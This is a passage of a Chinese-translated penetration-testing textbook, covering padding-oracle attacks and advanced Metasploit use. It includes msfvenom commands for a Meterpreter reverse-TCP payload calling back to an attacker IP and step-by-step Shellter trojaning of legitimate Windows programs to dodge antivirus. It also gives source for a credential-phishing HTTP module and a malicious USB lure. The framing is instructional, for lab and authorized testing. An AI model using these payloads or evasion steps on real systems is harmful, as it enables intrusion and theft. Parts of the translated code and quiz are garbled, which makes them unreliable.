因此,当我们将加密数据传递给目标时,oracle 可以告诉我们三件事中的一件:

  • 加密数据正确填充,并且解密后包含有效的服务器数据。这是完全正常的操作。服务器响应为 HTTP 200 OK。

  • 加密数据正确填充,并且解密后包含无效的服务器数据。这就像没有加密地发送一些意外数据到服务器,例如请求一个不存在的文件。这在技术上是 HTTP 200,但通常会有一个自定义错误(例如,文件未找到)。

  • 加密数据的填充不正确,这会破坏解密过程,因此没有任何数据传递到服务器。这会导致一个加密异常,响应为 HTTP 500 内部服务器错误。

这只是破解的一半。另一半是我们在本章开始时介绍的概念:当你知道三种二进制值中两个具有异或关系时,你可以轻松找出缺失的字段是什么。所以,我们必须调整加密的位并反复提交我们修改过的请求,和 oracle(预言机)进行状态反馈对话,直到我们不再破坏解密并且 oracle 告诉我们填充看起来很好。随着 oracle 确认正确的填充,这个攻击变成了一种已知明文的密码分析方法,使我们能够解密消息。

回想一下,块加密算法有一个 IV(初始化向量)作为最后一个块来启动块链过程;在这些攻击中,IV 并不总是已知的,实际上,在我们的实验中,没有为我们定义任何 IV。PadBuster 可以通过-noiv标志来实现这一点,并因此使用第一个字节作为 IV;用作 IV 的字节数在块大小参数中定义。我们还知道,CBC 模式加密会将中间位(即加密过程后的位)与前一个块的相应位进行异或(块链),因此一旦解密开始,PadBuster 就会向后工作。

总结

本章中,我们探讨了一些基本的密码学攻击。我们从密码块链接的比特翻转开始,学习了如何可预测地修改初始化向量。然后,我们利用这些信息突破了实验室服务器的防护。在这里,我们通过利用消息验证方法中的漏洞,探索了哈希长度扩展攻击。我们通过利用哈希算法的核心压缩功能,生成一个攻击哈希,使其能够通过验证。为了准备这个演示,我们在 Kali 上安装了一个强大的 Web 和数据库服务器堆栈,用于托管一个脆弱的 Web 应用,以便在我们家的实验室进行合法的学习和测试。在关于填充 oracle 攻击的最后部分中,我们利用了之前本书介绍的核心知识,继续突破实验室环境。

本章讲解了一些基本的密码学知识后,我们将再次进入 Metasploit 的控制台,深入了解更多高级策略。

问题

请回答以下问题,测试您对本章内容的理解:

  1. 计算此异或or运算的结果:0010111001010101111000110100101

  2. 3DES-128-ECB 中的 ECB 代表 __________。

  3. _______ 用于确保消息可以被算法的块长度整除。

  4. PadBuster 需要使用 _________ 标志来定义大写十六进制数。

  5. 如果攻击数据包有四个有效负载位置,那么您需要在 Burp Suite 的 Intruder 中定义多少个有效负载集?

  6. SHA-1 压缩函数接受 _________ 位和 _________ 位的输入。

  7. 填充 oracle 攻击得名于 1994 年 Oracle 7.2 中的漏洞。(正确 | 错误)

第七章:使用 Metasploit 进行高级利用

任何在过去 18 年里从事过这方面工作的人都知道 Metasploit 能做什么。外面有各种各样的 Metasploit 使用者,但我们特别考虑其中两类人。首先是勇敢的业余爱好者。他们下载了 Kali Linux 并将其安装在 虚拟机VM)上。接着,他们启动 Metasploit 学习基础知识——如何设置漏洞利用、有效载荷和选项,然后发射“导弹”!在这种情况下,Metasploit 很快就成为了隐喻中的锤子,而每个问题看起来都像钉子。

另一方面,有经验的安全管理员通常习惯于命令行。他们启动 Metasploit,知道如何搜索特定模块,以及如何收集适当的信息以填充选项字段。然而,他们感觉被现有的东西束缚住了。他们最近发现,通过配置快速简易的服务器来捕获特定协议的数据包,可以大大简化工作,而他们希望同样的解决方案可以作为一个模块启动。本章将介绍 Metasploit 的更高级用法。尽管我们只有有限的页面来激发兴趣,但本章应为你提供足够的内容,鼓励你在这些页面之外进行深入的研究。

本章将涵盖以下内容:

  • 使用 msfvenom 生成并嵌套有效载荷

  • 与 Shellter 一起工作

  • Metasploit 模块的内部工作原理

  • 与 Armitage 一起工作

  • 社会工程学角度

技术要求

为了充分利用本章的实践材料,你将需要以下设备:

  • 运行 Kali Linux 的笔记本电脑

  • Linux 上的 Wine32

  • Shellter

  • 一只 USB 闪存驱动器

如何第一次就做对——生成有效载荷

我们都见过一些人拿到 Metasploit 就开始开枪。如果你在家里的实验室里,单纯地看看发生了什么,那也没问题。如果你在进行专业评估时这么做,你很可能会被抓住,触发警报却什么也没做成。毕竟,渗透测试不是攻击一只坐着的鸭子——你的客户会有防御措施,大多数情况下这些防御都相当坚固。如果你的客户在预防方面不太行,他们很可能在检测方面做得很好,而且乱打有效载荷并击中随机 IP 对防守者来说简直是轻松的事。考虑到这一点,我们需要学会根据任务的需要制作有效载荷,以最大化成功率。我们越成功,就能为客户带来更多的价值。

安装 Wine32 和 Shellter

幸运的是,Wine32 和 Shellter 都包含在 Kali 的软件库中,因此安装它们非常简单。我们始终建议在安装任何软件之前进行文档审核,但我们特别建议对 Shellter 进行此操作。

虽然 Kali 上已经安装了 Wine32,但如果你在 64 位系统上运行 Kali,你需要安装 Wine32。安装 Wine32 的命令如下:

dpkg --add-architecture i386 && apt-get update && apt-get install wine32

就这么简单!你使用 Wine32 的频率取决于你的需求;如果你在实战中运行 Linux 虚拟机(VM)在 Windows 主机上,你可能不会把 Wine32 用到极限。但如果你以某种 Linux 版本作为主操作系统,你会更喜欢 Wine32 在性能上相较虚拟机或模拟器的优势。

要设置 Shellter 这个原生 Windows 应用程序,请使用以下命令:

apt-get install shellter

就是这样!你现在已经准备好在 Kali 中玩 Windows 可执行文件,并动态注入规避的 Shellcode 到应用程序中——这一点我们会在第十章《Shellcoding - The Stack》中详细探讨。

有效载荷生成独立进行——使用 msfvenom

在过去,你可以通过命令行启动 Metasploit Framework 的不同实例来生成有效载荷——它们分别是msfpayloadmsfencode。现在的孩子们可以通过一个统一的 Metasploit Framework 实例msfvenom来生成有效载荷。除了显而易见的优势——一个统一的命令行和标准化的参数来精细调整攻击,msfvenom的速度也更快。

那么,什么是有效载荷(payload)呢?我们最好首先理解一下 Metasploit 的核心结构——模块。模块是 Metasploit 中的对象,用于完成某个特定的任务,任务的性质决定了模块的类型。有效载荷只是 Metasploit 中的一种模块类型,其任务是包含远程执行的代码。有效载荷由漏洞利用模块使用,漏洞利用模块是用于传送有效载荷的系统。我们稍后会更详细地讨论这一点。现在,我们来看一下可以独立运行的有效载荷生成,这将为你在实战中提供无与伦比的灵活性。

有三种不同类型的负载 – singles、stagers 和 stages。 Singles 是这些中真正的独立体。 它们甚至不需要与 Metasploit 通信即可回传– 你可以用简单的 netcat 命令捕获它们。 Stagers 和 stages 相关但有区别; 一个 stager 为获取与目标之间的数据设置阶段。 简而言之,stager 创建网络连接。 stager 负载将会执行然后试图回传,而且由于连接来自内部,我们可以绕过讨厌的 Network Address Translation** (NAT**) 防火墙。 Stages 是通过 stager 传送到目标的负载组件。 让我们使用一个非常常见的 Meterpreter 回连示例 – Meterpreter 组件本身是 stage,而创建 TCP 连接返回给攻击者的模块则是 stager。 当然,如果无人响应,那么回传毫无意义,所以我们必须依赖处理程序来接收和处理任何连接。

让我们查看在终端窗口启动 msfvenom 时,它为我们提供了什么。 请注意,出于说明目的,我们将定义选项的完整名称。 在实践中,您可以使用更短的标志(例如, --payload 等同于 -p):

msfvenom -h

让我们探索一些命令行:

  • --payload 命令定义了我们将使用的 payload。 将其视为行为; 这是我们的 payload 将要执行的操作。 接下来我们将仔细研究特定的 payloads。

  • --list 命令将输出给定模块类型的可用模块。 所以,假设你在 --payload 方面遇到问题; 你可以发出 msfvenom --list payloads 命令获取列表。 但是,如果你不确定到底需要构建什么,你可能需要这些可用模块的列表。 如果你更喜欢在 msfconsole 中使用搜索功能,不要担心 – 我们将在接下来看一下。

  • --nopsled 命令是一个 shellcoding 选项,我们将在 Chapter 10 中更详细地探讨它,Shellcoding - The Stack

  • --format 命令表示将要创建的文件类型。 这是你制作卑鄙可执行文件时应指定的地方。 然而,msfvenom 灵活性的一个领域显现在这里,因为有许多可用的格式。 在本书中,我们将查看其中几个,但是通过 --help-formats 命令可以帮助你熟悉它们。

  • --encoder 命令是另一个选项,我们将在 第十章 中更详细地讨论,Shellcoding - The Stack。编码器可以改变代码的外观,而不改变其底层功能。例如,也许你的负载需要以字母数字表示法进行编码,或者你需要去除破坏执行的字符。你可以将其与 --bad-chars 结合使用,去除如 0x00 这样的破坏执行的字符。负载的编码可以通过 --iterations 重复多次,定义了编码器的遍历次数。这可以使负载更加隐蔽(即更难被检测到),但值得指出的是,编码并不是为了绕过任何东西——它的真正目的是让代码准备好在特定的环境中运行。

  • --arch--platform 允许你指定负载运行的环境;例如,32 位(指令集架构)Windows(平台)。

  • --space 命令定义了负载的最大大小(以字节为单位)。当你知道存在某种限制时,这个命令非常有用。编码后的负载空间与此相同,除非你希望将其定义为不同的值。在这种情况下,你可以使用 --encoder-space--smallest 也很有用,它生成最小可能的负载。

  • --add-code 允许我们通过将来自不同生成负载的 shellcode 注入到这个负载中,创建一个 一举两得 的局面。源代码可以是可执行文件,甚至可以是 msfvenom 上一次运行的原始输出。你可以多次执行此操作,可能会将多个负载嵌入到一个中。不过实际上,如果这样做,你可能会遇到编码问题。

  • --template 命令允许你使用现有的可执行文件作为模板。Windows 可执行文件由多个部分组成,因此你不能仅仅输出一些 shellcode – 它需要放置在某个地方。模板包含了制作有效可执行文件所需的一切——它只是等待你将 shellcode 放入其中。如果你愿意,还可以在此处指定特定的可执行文件,msfvenom 会将负载转储到可执行文件的文本部分(编译器生成的通用代码所在的位置)。这一点本身就很强大,但当与 --keep 一起使用时,模板 EXE 的原始功能得以保留,shellcode 会被放入一个新的执行线程中,这使得该选项更加隐蔽。

  • --out 命令定义了我们的负载输出的路径。

  • --var-name 命令在我们讨论 shellcoding 时会对我们有用,但即便如此,它也不会做太多事情。它真正是为那些喜欢与众不同并使用自定义输出变量名称的人准备的。

  • --timeout 命令是生成大有效载荷的一个新特性;它防止在读取有效载荷时出现超时。这个需求来自那些将msfvenom的输出通过管道传递到msfvenom的用户。你可能不会使用这个选项,但知道它的存在还是挺不错的。

现在我们已经了解了这个工具的强大功能,是时候进行一次包含两个有效载荷的攻击演示了。

创建嵌套的有效载荷

接下来,我们将为客户准备一个演示,在该演示中,有效载荷将显示一条消息给用户,内容是你被搞定了,兄弟!,同时为监听处理器创建一个 Meterpreter 会话。

有两个有效载荷,所以我们必须使用两个命令,它们如下:

msfvenom --arch x86 --platform windows --payload windows/messagebox ICON=INFORMATION TITLE="抱歉" TEXT="你被搞定了,兄弟!" --format raw > Payload1

msfvenom --add-code Payload1 --arch x86 --platform windows --payload windows/meterpreter_reverse_tcp LHOST=192.168.108.106 LPORT=4567 --format exe > demo.exe

到此为止,我们已经在两个命令中将目标架构和平台设置为 32 位 Windows。在第一个命令中,我们将有效载荷设置为windows/messagebox,并设置了ICONTITLETEXT有效载荷选项。(如果你要使用感叹号,就像我们在这里做的一样,在它后面加个空格,避免转义结束的引号,或者使用单引号。)格式是原始二进制格式,因为我们将把它导入到下一个命令中并使用--add-code。第二个有效载荷是windows/meterpreter_reverse_tcp,它是一个 Meterpreter 会话,连接回我们通过LHOST(反向)并通过 TCP 端口连接,我们通过LPORT定义了端口。最后,我们希望将结果输出为 EXE 格式。请注意,这只是一个演示;我们通常会推荐其他有效载荷的组合,因为消息框并不算隐蔽:

图 7.1 – 我们的有效载荷执行结果

图 7.1 – 我们的有效载荷执行结果

虽然我们将在本书后面讨论 shellcoding 的细节,但值得一提的是,组合有效载荷很可能会在你的作品中引入不良字符。你应该在测试环境中验证你的结果,使用--bad-chars来消除类似空字节之类的字符,这些字符几乎肯定会破坏 Windows 的 shellcode。生成有效的 shellcode 并非魔法,因此如果某些有效载荷无法被编码,不要感到惊讶!

大乱斗 – 使用 Shellter 绕过防病毒软件

让我们来看一下以下步骤:

  1. 首先,我们需要启动 Shellter。要启动 Shellter,请使用以下命令行:

    shellter

  2. 由于我们现在完全是新手,我们将在这里使用自动模式。接下来,我们需要确定要后门化的可执行文件:

图 7.2 – 在 Wine32 中加载 Shellter

图 7.2 – 在 Wine32 中加载 Shellter

除了确保可执行文件是 32 位的,良好的做法是使用一个能够独立运行的可执行文件。依赖于专有 DLL 文件通常会引发问题。在将代码注入到程序中之前,你还应验证该程序是否被杀毒引擎认为是干净的;误报是杀毒软件中常见的现象,在注入过程中再怎么隐蔽也无法改变程序中固有的可疑行为。

注意

在撰写时,x64 注入功能已经在 Shellter 的付费版本中可用。许可证仅限于专业人士使用,但如果你的预算允许,推荐支持这个项目。

在我们的演示中,我们将使用一个适用于 Windows 的老旧 CD 播放器工具。32 位版本可以在几乎所有 Windows 系统上独立运行——只需要下载并执行即可。说到选择可执行文件用于此目的,我们建议对社区保持友善,并在工作中发挥创造力。例如,现在我们已经用 CDPlayer.exe 编写了这个演示,它已经公开,世界各地的杀毒引擎将能对其进行更好的启发式检测。人们常常倾向于重复熟悉的流程,但更好的做法是发挥创意。

  1. 在确定了我们要注入载荷的可执行文件后,我们进入 隐形模式 并选择我们的载荷。如以下截图所示,Metasploit 的七个启动器已内建。

  2. Shellter 会询问你是否有自定义载荷(稍后会讲到),但是如果现有的七个载荷中的某一个能够满足你的需求,最好还是选择现有的载荷。我们这次的案例是建立一个回连的 Meterpreter 会话,因此我们选择载荷索引 1:

图 7.3 – Shellter 中的载荷选择

图 7.3 – Shellter 中的载荷选择

  1. 一旦 Shellter 收集了所需的所有信息,它不会花太长时间。CD 播放器将被注入并保留在原始文件位置。一旦可执行文件传送到目标,受害者启动它,如下图所示:

图 7.4 – CD 播放器程序在目标 PC 上运行

图 7.4 – CD 播放器程序在目标 PC 上运行

与此同时,在我们的攻击 Kali 主机上,Meterpreter 会话已经接收到传入连接并开始工作。不过,这并不是最有趣的部分;这里值得注意的是,原始可执行文件的运行与预期完全一致。CD 播放器完美运行,同时我们开始偷取战利品并在目标上建立持久化。很酷吧?Shellter 通过分析合法程序的执行流程(我们之前在追踪阶段已经看过)并将 shellcode 放置在流程中的自然位置,成功地实现了这一点。并没有突然的重定向到代码的其他地方,也没有奇怪的内存请求,正如你在非动态感染的可执行文件中可能看到的那样。代码看起来不像是被注入的;它看起来就像是本来就应该做它做的事,那就是为用户提供一个方便的方式播放他们的 1990 年代老音乐 CD,同时悄悄地将计算机的远程控制交给第三方。

在用户听音乐时建立目标控制可能很有趣,但它也能展示 Shellter 的强大功能。例如,当我们将生成的文件与主要的杀毒软件进行比对时,我们发现成功躲避了 67%的所有供应商。如你所见,Shellter 以一种新颖的方式将 shellcode 整合到执行流程中,这使得它很难被检测到。

对社区保持友善

如果你还没有实验室,你可能会想在许多提供病毒扫描或沙箱虚拟机进行实时测试的网站上玩弄你的创作。如果你打算这么做,确保你在一个不会将你的提交内容与反恶意软件社区分享的环境中工作!你可能会发现,第一天对你有效的东西突然不再有效,并且你可能通过提供过多的信息而将自己锁在外面。考虑购买沙箱供应商的账户,这样他们可以为你提供一个私人环境;同样,不要使用流行的 VirusTotal,考虑使用 AntiScan.me 或 NoDistribute.com 进行扫描,并研究杀毒软件对你创作的响应。

重要的是要记住,这个结果是我为本书准备的 10 分钟演示的成果——没有进行细致的调整。根据你的客户独特环境中的具体场景调整你注入的木马将是至关重要的。也许你的客户使用了一个没有检测到我们演示为恶意的供应商——或者他们使用的是另外 33%的供应商,你将不得不重新开始。我们将在第十章中介绍这种细致的调整,Shellcoding - The Stack

模块——Metasploit 的核心

我们已经在 Metasploit 中玩过一些模块了。如果现在还不清楚的话,Metasploit 框架中的所有内容都是模块。有效载荷是一种模块;漏洞利用是另一种模块,它包括有效载荷。你可以拥有没有有效载荷的漏洞利用模块,它们被称为辅助模块。对于没有接触过的人来说,很容易认为漏洞利用模块才是充满激情的地方。在利用某个不为人知的软件漏洞成功打开一个 Shell 后,那种感觉就像是好莱坞电影中的场景。但当你在实际环境中发现,几乎所有那些令人垂涎的漏洞都不存在于客户端环境中时,你会发现自己开始依赖辅助模块。

既然我们已经初步了解了模块的工作方式,那么让我们通过构建一个模块来深入了解它们的核心工作原理。尽管这只是一个简单的示例,但希望它能激起你对以后构建更高级模块的兴趣。

构建一个简单的 Metasploit 辅助模块

我不知道你怎么想,但我不是 Ruby 的大粉丝。虽然 Ruby 有时可能会让人感到不方便,但在 Metasploit 中构建模块的过程非常简单,弥补了这一点。如果你能编写一些基础的 Ruby 并理解不同方法的工作原理,你就能构建一个模块。

在这个示例中,我们搭建了一个基本的 HTTP 服务器,它会提示任何访问者输入凭据。它通过对任何请求返回401 未授权错误来实现这一点,这应该会让几乎所有浏览器都提示用户输入凭据。一旦假认证完成,您可以将用户重定向到您选择的 URL。我们逐行分析这个模块,从以下代码开始:

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})

super(update_info(info,

'Name' => 'HTTP 服务器:基本身份验证凭据捕获',

'Description' => %q{

通过 401 响应提示浏览器请求凭据。

},

))

register_options([

OptString.new('REALM', [ true, "用于身份验证的领域属性。", "安全站点" ]),

OptString.new('redirURL', [ false, "发送凭据后重定向的目标地址。" ])

])

结束

如您所见,一旦我们创建了MetasploitModule类,就会使用include导入一个模块。通过这种方式导入的模块通常称为mixins,因为它们将引用模块中的所有方法并混合进来。当你在构建模块或者研究模块以了解其工作原理时,应该特别注意这一点。如果你只是查看一个模块的内部工作原理,也应该检查一下这个 mixin 代码。同样,如果你在构建模块时,如果能够引入具有核心功能的模块,不要重复发明轮子。在我们的例子中,我们通过伪装成一个 HTTP 服务器来捕获凭据,因此我们引入了Msf::Exploit::Remote::HttpServer::HTML的功能。

Here, the initialize** method takes **info={}** as an argument and is meant to provide general information about the auxiliary module, with **super(update_info())**, and then declare the options available to the user with **register_options(). We’re not concerned with the general information for now; however, we are interested in the options. Options are user-defined variables known as datastore optionsOptString.new() declares a variable of the string class, so we’re now allowing the user to define the authentication realm, which redirects the URL after the falsified authentication is complete. You may be thinking, what about localhost and port?, and you’d be right to.

Remember that we imported the HTTP server mixin, which already has its port and host declared, as shown in the following code:

def run

@myhost = datastore['SRVHOST']

@myport = datastore['SRVPORT']

@realm = datastore['REALM']

print_status("Listening for connections on

#{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")

Exploit

end

Now, we have to create the run method, which is where the module’s functionality starts. Some instance variables are declared here using the values stored in the defined datastore options, and the user is then advised that we’re firing up a quick-and-dirty HTTP server.

Normally, the run method is where the juicy stuff goes, but in this case, we’re leveraging the HTTP server mixin. The real exploit that’s being called is just an HTTP server that returns requests and session data when someone connects to it. We also define the on_request_uri() method so that it does something with the returned data, as shown in the following code:

def on_request_uri(cli, req)

if(req['Authorization'] and req['Authorization'] =~ /basic/i)

basic,auth = req['Authorization'].split(/\s+/)

user,pass = Rex::Text.decode_base64(auth).split(':', 2)

print_good("#{cli.peerhost} - Login captured! "#{user}:#{pass}" ")

if datastore['redirURL']

print_status("Redirecting client #{cli.peerhost} to #{datastore['redirURL']}")

send_redirect(cli, datastore['redirURL'])

else

send_not_found(cli)

end

else

print_status("We have a hit! Sending code 401 to client #{cli.peerhost} now... ")

response = create_response(401, "Unauthorized")

response.headers['WWW-Authenticate'] = "Basic realm="#{@realm}""

cli.send_response(response)

end

end

end

Take a look at the general structure of the previous method. It’s essentially an if...else** statement, which means that it is in reverse chronological order of events. This means we expect the initial request to come in, causing us to send back the 401 (the **else** statement) before we parse out the credentials that are sent back by the browser (the **if statement). This is done because, from the perspective of the HTTP listener, anything that’s sent to the server is going to get passed to on_request_uri().

if语句会在请求中包含身份验证尝试时通过,解析并解码来自入站数据包的数据,然后通过print_good()显示捕获的凭证(这意味着过程成功)。一个嵌套的if语句检查用户是否定义了redirURL数据存储选项。如果检查通过,则返回 HTTP 重定向;如果失败,则返回 404。on_request_uri()方法被else语句包裹着,如果入站请求不是身份验证尝试,则会执行这个语句。一个 HTTP 401 响应被创建并发送,拉取相应数据存储选项中的身份验证领域。

现在,是时候将我们的模块导入 Metasploit 了。所有模块所在的文件夹叫做/usr/share/metasploit-framework/modules。在这个文件夹中,你会看到不同模块类型的子文件夹。我们的示例是一个辅助模块,我们正在托管一个服务器,所以最终的路径是/usr/share/metasploit-framework/modules/auxiliary/server

使用cpmv命令将你的模块从工作文件夹移动到特定位置,并记得记下模块的文件名。现在,像往常一样启动msfconsole

Metasploit 框架加载需要几秒钟的时间,因为它正在检查所有模块,以确保它们都准备好,包括你的模块。如果没有看到任何语法错误并且 Metasploit 正常启动,恭喜你——你的新模块已经通过了!

Metasploit – 让生活更轻松

获得这类手动操作的经验对于理解和发展始终是有帮助的,但 Metasploit 确实允许我们在模块开发和自定义方面进行实时操作,使用editreload命令。你可以在 Metasploit 中编辑模块,然后使用reload命令使其在当前会话中生效。

当我们使用use命令来加载我们的模块时,我们是通过名称和文件夹结构来引用它的。在我们的例子中,模块叫做our_basic_HTTP.rb,所以我们使用auxiliary/server/our_basic_HTTP来调用它。设置好你需要的选项后,输入exploit,你应该能看到类似下面的截图:

图 7.5 – 在 Metasploit 控制台运行我们的模块

图 7.5 – 在 Metasploit 控制台运行我们的模块

查看今天的 SSL 世界中所提供的灵活性:你可以使用自定义证书来协商 SSL,这在你模拟设备时可能会派上用场。

此时,我们已经从战术层面看过了 Metasploit。现在,让我们从更高的战略层面来看待它。

Armitage 的效率和攻击组织

如果不提 Armitage,我们不能算真正讨论 Metasploit。Armitage 是 Metasploit 的一个图形化前端环境,具有几个巨大的优势:

  • Armitage 提高了工作效率。通过点击一次即可执行一系列动作,许多繁琐的控制台操作得到了简化,很多任务可以自动化完成。用户界面环境也让组织工作变得轻松。

  • Armitage 作为团队服务器在单台机器上运行,使其可以从网络上的其他 Armitage 客户端进行访问,这将 Metasploit 框架转变为一个完整的红队攻击平台。你甚至可以编写自己的基于 Cortana 的红队机器人脚本。即使是一个熟练的个人,借助 Armitage 作为 Metasploit 的界面,也能变得极其可怕。

我们将在后期利用 Armitage 进行后渗透测试,届时它的强大功能会得以展现。现在,让我们先来看看如何让我们的 Metasploit 任务更加项目化。

熟悉你的 Armitage 环境

我们的第一个任务是安装 Armitage。幸运的是,它在软件库中,所以只需使用apt-get install armitage命令即可。安装完成后,运行msfdb init命令来初始化数据库。最后,使用armitage命令启动它。

首先出现的是登录 Armitage 团队服务器的提示。默认设置足以满足本地运行的需求,但如果你是作为红队的一部分,这里是输入团队服务器详细信息的地方。幸运的是,Armitage 对我们这些新手非常友好,如果我们还没有启动 Metasploit RPC 服务器,它会自动提供启动选项,如下图所示:

图 7.6 – Armitage 提供启动 RPC 服务的选项

图 7.6 – Armitage 提供启动 RPC 服务的选项

Metasploit 的提示符可能让人觉得有点居高临下,但嘿,我们不能把这些事情看得太个人化。

你将会在三个主要窗口中工作——模块目标标签视图。正如你所看到的,模块树以友好的下拉文件夹格式呈现,底部还有一个搜索框。目标窗口位于右上角,当你开始工作时,目标会在此窗口中显示。底部是标签,你通常在msf提示符下看到的所有内容都在这里通过对应每个任务的标签呈现;你还可以看到诸如目标上列举的服务等信息。

记住,Armitage 不过是 Metasploit 的前端——它能做的,Metasploit 也能做。Armitage 本质上完成了所有的输入工作,同时为你提供专业级的攻击组织。当然,你始终可以在控制台窗口中输入任何命令,就像在 Metasploit 中一样。

顶部的下拉菜单栏功能强大,包括作为枚举目标的起始点。让我们来看看。

使用 Armitage 进行枚举

导航到主机 | Nmap 扫描 | 快速扫描(操作系统检测)。输入扫描范围,我们在这里输入的是192.168.108.0/24。注意一个名为nmap的新控制台标签会弹出,然后你可以坐下来放松了。你不会看到太多变化,直到扫描报告完成,目标窗口会填充,并且检测到的操作系统会被显示,正如下面的截图所示:

图 7.7 – 使用 Armitage 进行侦察

图 7.7 – 使用 Armitage 进行侦察

现在,你可以对单个目标进行更彻底的扫描,并查看服务枚举的结果。右键点击一个主机并选择服务,一个新标签会弹出,显示一个表格,这实际上是一个更美观的方式来查看 Nmap 版本的扫描输出。

现在,是时候谈谈桌面上的大象——图形化目标视图了。它看起来很漂亮,适合做一个好莱坞黑客电影演示给朋友们,但在大规模和忙碌的环境中并不实际。幸运的是,你可以导航到Armitage** | 设置目标视图并选择表格视图**来进行更改。

使用 Armitage,漏洞利用变得异常简单

接下来是 Armitage 可以为你节省大量时间的部分——理解攻击面并准备潜在的攻击。虽然你可能习惯了更手动的流程,但这次我们将在顶部菜单栏中选择攻击,然后点击查找攻击。你会看到进度条短暂出现,然后弹出一条祝你好运的消息。就这样。那么,发生了什么呢?嗯,Armitage 获取了主机和服务的枚举数据,并自动扫描整个漏洞模块树以寻找匹配项。右键点击一个主机并选择攻击。对于每个检测到匹配的服务,会有另一个下拉菜单列出可能起作用的漏洞。我们说是可能的,因为这是一个非常粗略的服务数据和漏洞选项匹配,你的作业并没有完成。你可能喜欢点击随机漏洞看看在实验室里会发生什么,但在真实世界中,你只是白白制造噪音而已。

检查利用是否适用的一种方法是使用恰如其名的check命令,按照以下步骤操作:

  1. msfconsole中,我们可以在加载的模块提示符下启动此命令;在 Armitage 中,我们可以通过前往同样的下拉菜单,列出已找到的漏洞,滚动到列表底部并选择漏洞,完成相同的操作。观察Tab窗口在每个模块自动加载时生动起来,check命令也会被执行。请记住,单个模块必须支持check命令,因为并非所有模块都支持。

  2. 当你从列表中选择一个利用时,弹出的窗口与从 Modules 窗口加载任何利用时看到的窗口相同。唯一的区别是,选项会根据你的目标自动配置,如下图所示:

图 7.8 – 浏览我们获取的攻击

图 7.8 – 浏览我们获取的攻击

  1. 点击 Launch 以在后台启动攻击,这样你可以在等待连接返回时继续工作(如果你是这样配置的话)。

记住,Armitage 喜欢让事情看起来像好莱坞大片,因此,如果你的目标被攻陷,图标会变成一个非常不祥的闪电符号。

  1. 再次右键点击目标,你会看到一个新的选项——Shell。你可以与它交互,并从立足点继续前进,如下所示:

图 7.9 – 被攻陷的 Linux 主机

图 7.9 – 被攻陷的 Linux 主机

所有这些自动化功能对于该领域的专业人士来说非常棒,但我们应该小心不要失去与黑客思维方式的联系,正是这种思维方式让这一切成为可能。

关于 Armitage 和渗透测试人员心态的一些话

每次开车时,我都会注意到一个在新车中非常常见的功能——侧后视镜上的盲区警示灯。它亮起时提醒驾驶员有车辆进入盲区。总的来说,我支持通过先进的技术让我们的生活更轻松,我相信这个功能是有用的。然而,我担心一些驾驶员可能会停止保持警觉,如果他们过于依赖这种技术的话。我想知道,驾驶员是否已经停止转头查看盲区。

盲区问题与 Armitage 和渗透测试的关系在于,它有点像一种新技术,它为我们开车,而我们不需要了解任何关于驾驶的知识。Metasploit 已经是自动化安全测试的一种革命性方式,而 Armitage 进一步自动化了它。在 Metasploit 存在之前,甚至在 1990 年代,大多数我们今天理所当然认为的任务都是手动完成的。当工具可用时,我们必须手动关联输出,以便开发出进行任何攻击所需的理解,而这已经是在真正的先驱者们开发出我们所需的所有知识之后的几年了。大多数现代工具允许我们在非常严格的时间框架内完成更多的工作,使我们能够专注于分析,从而为客户带来价值。然而,我们也必须应对“脚本小子”的崛起,以及一些缺乏经验但充满热情的新人,他们下载 Kali Linux,毫无顾忌地发起攻击。尽管有一些抱怨,但这些工具确实有其存在的价值,只要它们是用来改善我们的生活,而不是取代基本的常识。

有鉴于此,建议你了解幕后发生的事情。回顾代码,分析网络中的数据包,不仅研究攻击和利用的细节,还要了解受影响技术的设计意图,阅读 RFC 文档,并尝试在没有工具的情况下完成任务——或者更好的是,编写一个更好的工具。这是一个极好的机会来提升自己。

接下来,我们将通过一个恶意 USB 驱动器来发起社会工程攻击。一旦将驱动器插入 Windows 机器,我们将拥有一个 Meterpreter 会话,并能够控制目标。

带有 Metasploit 有效载荷的社会工程攻击

让我们通过将两个主题结合起来结束本章——将后门注入合法可执行文件,并使用 Metasploit 作为有效载荷生成器和处理器。我们将使用 Shellter 和嵌套的 Meterpreter 有效载荷来创建一个恶意的 AutoRun USB 驱动器。尽管 AutoRun 默认情况下通常未启用,但你可能会发现它在某些企业环境中已启用。即使 AutoRun 没有自动执行,我们也将处理一个可执行文件,该文件可能通过创建一种有已删除数据可以恢复的印象,诱使用户执行它。

使用 Shellter 创建木马

按照以下步骤使用 Shellter 创建一个木马:

  1. 第一步也是最繁琐的一步是找到合适的可执行文件。这很棘手,因为 Shellter 有一些限制——可执行文件必须是 32 位的,不能是打包过的可执行文件,并且需要与我们的有效载荷兼容。我们无法在感染文件并尝试运行之前确定某个可执行文件是否有效。经过一番寻找,我们发现了一个大约 400 多 KB 的数据恢复工具,名为DataRecovery.exe。这个工具不需要安装,也没有任何依赖项。

  2. 在确认恢复工具是 32 位并且干净后,将它放到你的根文件夹中,以便稍后使用。首先,我们要使用msfvenom创建一个嵌套的有效载荷。我们不必做这部分,但我们尝试给攻击增加一些炫酷的效果。使用以下命令行来执行此操作:

    msfvenom --arch x86 --platform windows --payload windows/messagebox ICON=WARNING TITLE="数据恢复" TEXT="检测到可恢复的已删除文件。" --format raw > message

  3. 现在我们应该在根文件夹中有两个文件:可执行文件和一个名为message的 268 字节二进制文件。现在,通过向提示输入Y来启动 Shellter 的隐匿模式。这需要我们按照本章前面提到的相同过程,直到我们需要指定自定义有效载荷,如下图所示:

图 7.10 – 指定自定义有效载荷

图 7.10 – 指定自定义有效载荷

现在,Shellter 将生成 DataRecovery.exe;一个快速的 sha1sum 命令很快就能确认二进制文件已经被修改。此时,我们拥有了一个合法的数据恢复工具,它会显示一个消息框。接下来,是时候让它为我们服务了。

  1. 现在我们有了嵌套的有效载荷,我们只需再次通过 Shellter 发送新的二进制文件。不过,这次我们必须在包含的有效载荷列表中选择编号为 1 的阶段 – 反向 TCP Meterpreter 有效载荷。现在,我们有了一个完整的 Trojan,准备启动。这个程序是一个合法的数据恢复工具,它会弹出一个提示框,警告用户检测到已删除的数据。同时,Meterpreter 有效载荷已经与我们的处理程序建立连接,并给予了我们控制权,如下图所示:

图 7.11 – 注入消息框有效载荷后的 Trojan,准备连接回代码

图 7.11 – 注入消息框有效载荷后的 Trojan,准备连接回代码

注意

配置处理程序时,始终将 EXITFUNC 设置为线程。如果不这样做,Meterpreter 会话在 Trojan 结束时会崩溃!

